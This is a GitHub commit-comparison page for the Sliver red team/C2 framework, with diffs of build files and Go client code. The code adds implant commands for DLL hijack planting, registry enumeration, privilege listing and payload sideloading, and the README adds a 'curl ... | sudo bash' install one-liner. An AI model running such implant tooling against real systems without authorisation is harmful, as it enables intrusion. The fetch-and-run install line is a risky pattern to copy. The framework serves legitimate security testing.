Compare commits

...
76 Commits
Author SHA1 Message Date
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
Joe 7a38ddffb6 Merge pull request #477 from BishopFox/fix/proto
Migrate to google.golang.org/protobuf
2021-07-21 18:16:19 -05:00
moloch-- 5b160e358e Moved to google.golang.org/protobuf 2021-07-21 11:27:30 -05:00
moloch-- f94f0fc938 added implant/README.md 2021-07-21 11:17:57 -05:00
moloch-- 714499b21b added warning to constants header 2021-07-21 11:06:25 -05:00
Ronan Kervella 9be7ccb209 Merge pull request #476 from BishopFox/extensions
Fix extensions arguments parsing
2021-07-20 16:33:27 +02:00
rkervella a43850333b Fix extensions arguments parsing 2021-07-20 16:00:43 +02:00
Ronan Kervella f6351f725a Merge pull request #475 from BishopFox/extensions
Update sideload to use Donut
2021-07-20 15:10:19 +02:00
rkervella 1079a559ab Update sideload to use Donut 2021-07-20 14:37:45 +02:00
Ronan Kervella 5bcf9ba893 Merge pull request #474 from BishopFox/cat-hex
Add hex dump to the cat command
2021-07-20 13:27:44 +02:00
rkervella ebfa3ca86c Add hex dump to the cat command 2021-07-20 12:56:00 +02:00
Joe 6c62dfb486 Merge pull request #473 from BishopFox/fix/dns
Fixed issue #436 and standardized on --lhost/-L for all listener cmds
2021-07-19 17:46:28 -05:00
moloch-- 76cd61a27d Fixed issue #436 and standardized on --lhost/-L for all listener commands 2021-07-19 15:53:16 -05:00
Ronan Kervella 35d692b4ca Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
2021-07-19 17:16:44 +02:00
rkervella a1058aa4f0 Update long help 2021-07-19 16:40:11 +02:00
rkervella ae3c082498 Add dllhijack command 2021-07-19 15:43:16 +02:00
Ronan Kervella d3a107cf43 Merge pull request #471 from BishopFox/duphandle
Use DuplicateHandle to get a fully privileged handle to remote processes instead of PROCESS_ALL_ACCESS request
2021-07-16 15:00:40 +02:00
rkervella ee5acfe47b No more OpenProcess with PROCESSS_ALL_ACCESS 2021-07-16 14:16:18 +02:00
Joe 10c3062016 Merge pull request #470 from BishopFox/stage
Go v1.16.6
2021-07-15 15:11:43 -05:00
moloch-- 5e80dfcfb9 Go v1.16.6 2021-07-15 14:51:37 -05:00
Joe 5bcfa4c249 Merge pull request #468 from BishopFox/stage
Disable garble's -tiny option
2021-07-13 08:07:10 -05:00
rkervella ac3e29a287 Disable garble's -tiny option 2021-07-13 14:34:20 +02:00
Joe a3af100db0 Update README.md 2021-07-09 17:05:58 -05:00
Joe 7489c69962 Merge pull request #465 from BishopFox/gh-pages
Bug Fixes & GH Pages
2021-07-09 16:45:21 -05:00
moloch-- 3859b3493e Added some content 2021-07-09 16:26:13 -05:00
moloch-- 874023b8c3 Fix bug in loot allOf 2021-07-09 16:11:14 -05:00
moloch-- 5f971b36d4 Outlined docs/ 2021-07-09 14:46:59 -05:00
moloch-- b2451c4bfb All survey v2 2021-07-09 14:46:02 -05:00
moloch-- 2af5195c85 Updated readme 2021-07-06 20:53:11 -05:00
moloch-- bff100ad31 Updated readme 2021-07-06 19:43:54 -05:00
Joe b20ee295bb Merge pull request #464 from BishopFox/ux/generate
Add warning when cross-compiling to targets without a cross-compiler …
2021-07-06 09:39:18 -05:00
206 changed files with 6178 additions and 4525 deletions

No files matched your search

+15 -22
View File
@@ -1,28 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
server/assets/fs/**.zip
/server/assets/fs/**.zip
*.sdk.tar.xz
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -4
View File
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -59,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.16"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -50,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+7 -7
View File
@@ -1,10 +1,10 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
Dockerfile.*
*.sdk.tar.xz
/Dockerfile.*
/*.sdk.tar.xz
release-*
/release-*
# Diffs
*.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
+11 -8
View File
@@ -1,4 +1,4 @@
FROM golang:1.16.5
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah \
&& /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+6 -2
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
+4 -2
View File
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
__Important:__ No code in this directory can import any code from `server/`.
* `assets/` - Static asset files and management code (e.g. client configs)
* `command/` - Command implementations
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `help/` - Console help
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+100 -8
View File
@@ -37,6 +37,7 @@ import (
"os"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -148,7 +149,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start an mTLS listener",
LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "server", "", "interface to bind server to")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -168,9 +169,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a WireGuard listener",
LongHelp: help.GetHelpFor([]string{consts.WGStr}),
Flags: func(f *grumble.Flags) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
},
@@ -190,6 +192,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -211,6 +214,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -232,6 +236,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.String("c", "cert", "", "PEM encoded certificate file")
@@ -606,7 +611,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Load and execute a shared object (shared library/DLL) in a remote process",
LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
Flags: func(f *grumble.Flags) {
f.String("a", "args", "", "Arguments for the shared library function")
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
@@ -615,6 +619,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the shared library file")
a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
},
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -674,7 +679,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
Flags: func(f *grumble.Flags) {
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("o", "lhost", "", "listen host")
f.String("L", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -697,7 +702,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "pid to inject into")
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("o", "lhost", "", "listen host")
f.String("L", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -818,8 +823,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("l", "lhost", "", "Listening host")
f.Int("p", "lport", 8443, "Listening port")
f.String("L", "lhost", "", "Listening host")
f.Int("l", "lport", 8443, "Listening port")
f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
@@ -1033,6 +1038,9 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("r", "reverse", false, "reverse sort order")
f.Bool("m", "modified", false, "sort by modified time")
f.Bool("s", "size", false, "sort by size")
},
Args: func(a *grumble.Args) {
a.String("path", "path to enumerate", grumble.Default("."))
@@ -1129,6 +1137,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
},
Args: func(a *grumble.Args) {
@@ -1637,7 +1646,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "egistry hive")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to read values from")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1684,6 +1693,45 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListSubKeysCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListValuesStr,
Help: "List the values for a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListValuesCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
con.App.AddCommand(registryCmd)
// [ Pivots ] --------------------------------------------------------------
@@ -2136,4 +2184,48 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(reactionCmd)
// [ DLL Hijack ] -----------------------------------------------------------------
dllhijackCmd := &grumble.Command{
Name: consts.DLLHijackStr,
Help: "Plant a DLL for a hijack scenario",
LongHelp: help.GetHelpFor([]string{consts.DLLHijackStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
dllhijack.DllHijackCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("target-path", "Path to upload the DLL to on the remote system")
},
Flags: func(f *grumble.Flags) {
f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
f.String("p", "profile", "", "Profile name to use as a base DLL")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(dllhijackCmd)
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
privilege.GetPrivsCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(getprivsCmd)
}
+4
View File
@@ -0,0 +1,4 @@
DLL Hijack
===========
Implements command related to `dllhijack`.
+97
View File
@@ -0,0 +1,97 @@
package dllhijack
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
return
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
}
}
if localFile != "" {
if profileName != "" {
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("DLL uploaded to %s\n", targetPath)
}
+1 -1
View File
@@ -32,7 +32,7 @@ import (
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
+5 -1
View File
@@ -21,6 +21,8 @@ import (
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -38,13 +40,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := ctx.Flags.String("args")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
@@ -54,6 +57,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
+4
View File
@@ -0,0 +1,4 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
+19 -22
View File
@@ -157,17 +157,10 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
extArgs := func(a *grumble.Args) {}
if extCmd.AllowArgs {
extArgs = func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
}
ctx.App.AddCommand(&grumble.Command{
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Args: extArgs,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCommand(extCtx, con)
@@ -185,8 +178,12 @@ func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.ExtensionHelpGroup,
})
}
con.App.AddCommand(extensionCmd)
}
con.PrintInfof("%s extension has been loaded\n", ext.Name)
}
@@ -214,14 +211,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
var args string
if len(c.DefaultArgs) != 0 {
args = c.DefaultArgs
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
if len(ctx.Args.StringList("arguments")) > 0 {
args = strings.Join(ctx.Args.StringList("arguments"), " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
@@ -251,13 +247,13 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
